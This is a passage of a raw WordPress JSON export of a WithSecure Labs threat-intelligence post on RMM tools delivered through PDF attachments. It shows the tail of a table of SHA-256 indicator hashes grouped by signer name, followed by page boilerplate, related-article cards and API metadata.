width=\"488\">c6a8637397a3570c0f153be98303e6b7492c3dac3b94976f6fb2408f46a1763d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">87d3d71acd6aaf23626e63a95b0f33c0f3fe953456db39fbaa64c61fb9cedaff<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">9dd3d568196bc8f1e417f743422fc017f48554e4604dd670b3ff06d6bf80b957<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"9\" valign=\"top\" width=\"113\">Guillaume Vaugeois<\/td>\n<td valign=\"top\" width=\"488\">0875b075f3a9da3d345e0a2b922a134baa0cbf2eaf5754da2a75d2dab2341d13<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">6950bd0c815b0ff60404610274380621d38a3e3a22c2e72d7c64f6adeb06c187<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">81e3329a89f839952ff0ffbc9cd3e3c80796115184e9b5a0bccba99d806d8b61<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">871d457b03ec654bfb15e568cfb630198aca3b92be86b4e2684c2a09be983563<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">e9ba9b7e78607ca072e7cab9890c1742a7f2d82b8a6a6da2c56ac9732dfc9bd9<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0c76e50d3cc947d17990c3afd44295c6299430942a4eccb1c87f8b3ea4d2def8<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">22e64e7ec0056a4bbeeab7acb3d46ef796c5256c9c934369ad29c35a1df050eb<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">1bcfbc79c000a18721dfbe1fa44906389146ba9e1c940f8ebe61c5ab5658e4bd<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">c8f077a306b2a960713c374ceb82210eb78975f62c0c5aa1dbb22e36faf949db<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"113\">Alina Georgiana Mihalcea<\/td>\n<td valign=\"top\" width=\"488\">129df778cde4bb19049d9f48bfaaabf7baec541072dd64c0024b55d63e793a9f<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"9\" valign=\"top\" width=\"113\"><\/td>\n<td valign=\"top\" width=\"488\">f0119123b86550df9ec2d7946030aab7d387aef37d006eb352498b374c0df941<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">1f146f8fe2e7eb5d0dd0a6b7b92259bae51c0fcb376e039743ec591ba8d01e22<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">dc129f059e6d58e1f38e0eed886a5fb165c069a8028a4c7debea1d8a028e0231<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">2048c6d87ad991d2975b07568bdd5ef52e210f27b7ac85506e37619096c4f0ff<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0e63cc926ac72c4e65eba76f06cbfaabe95623701432c5fe67d1fe00663fba9d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">a3e89e90ef69385aa3dfabfa76c7fdfad28063ed6032a4439dfef48694ed487e<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">eea65f23c944c5104ec7ee55e4939b51babeddcdbb52459fc2b065434e07e30d<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">e87c3fb7031ac89ce8f38b9542c55bf96097faea50d7887a731e466bc9b6f990<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">0c8c4b93170a8de7c857c5f4030c6a1e2394940bbd3d48f100014b3d0c64ed90<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"4\" valign=\"top\" width=\"113\">WorldStream Customer<\/td>\n<td valign=\"top\" width=\"488\">3182309746d206db5eadb8743160bf802e012ea70dfa5ee39120e0494532098f<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">c9beb4996ad6ade7070e684c7d3f6f8e8d02de30af0bfaf85504ab06a36d7c76<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">7e10d37f2abb2bbdf1c4f7bf29277cf01a385301682068a82006563445f80a20<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">44baab4692375ad15363acdec3f57eb7cfea0e65456fff921624e6a531089aac<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" valign=\"top\" width=\"113\">ALEXANDERS PARAIN<\/td>\n<td valign=\"top\" width=\"488\">951ceed3102757d284e84804c4aa002a22502ab72fef10d2317be5192ae8a0ee<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"488\">52d3d7ae7c8f53249867714f24bafe68aeae665a5fa7cd4b426bb3e637d9cbf0<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"113\">DABA DABA<\/td>\n<td valign=\"top\" width=\"488\">d3211a41eb9bc727b6de76fe9262ffdf4f38f6c8ca8a6e10d3b82a6be5c07564<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"113\">COMPTA VDB<\/td>\n<td valign=\"top\" width=\"488\">9ca4fcd50376d5cdfe86c9274305720b68b9ebadf59acb97f402810f3fcd2fc3<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/&#038;title=Email-Delivered%20RMM:%20Abusing%20PDFs%20for%20Silent%20Initial%20Access\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Email-Delivered RMM: Abusing PDFs for Silent Initial Access&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>Since November 2024, WithSecure has been tracking a slight uptick of targeted activities leveraging Remote Monitoring and Management (RMM) tools embedded within PDF documents.<\/p>\n","protected":false},"author":3,"featured_media":8856,"template":"","categories":[236,148,269],"labs_content_type":[298,296,224],"class_list":["post-8150","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-email-security","category-ransomware","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Email Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Email-Delivered RMM: Abusing PDFs for Silent Initial Access<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">Since November 2024, WithSecure has been tracking a slight uptick of targeted activities leveraging Remote Monitoring and Management (RMM) tools embedded within PDF documents.<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8856"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8150"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}]